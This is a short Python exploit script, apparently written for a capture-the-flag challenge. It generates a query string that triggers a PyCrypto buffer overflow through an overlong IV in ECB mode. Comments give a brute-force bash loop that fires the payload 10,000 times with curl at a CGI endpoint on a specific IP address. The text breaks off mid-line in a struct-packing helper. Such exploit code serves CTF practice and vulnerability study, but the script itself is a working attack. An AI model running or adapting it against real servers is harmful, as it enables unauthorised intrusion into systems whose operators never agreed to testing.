#!/usr/bin/python # https://bugs.launchpad.net/pycrypto/+bug/1506613 # It's really a buffer overflow when specifying a long IV in ECB mode. # This took so long to brute force... # # ./generate_qs.py > qs # for i in {1..10000}; do echo $i; curl -s -o /dev/null "http://136.243.194.56:8000/cgi-bin/cryptmsg.py?$(cat qs)"; done import struct import sys import urllib def p(v): return struct.pack('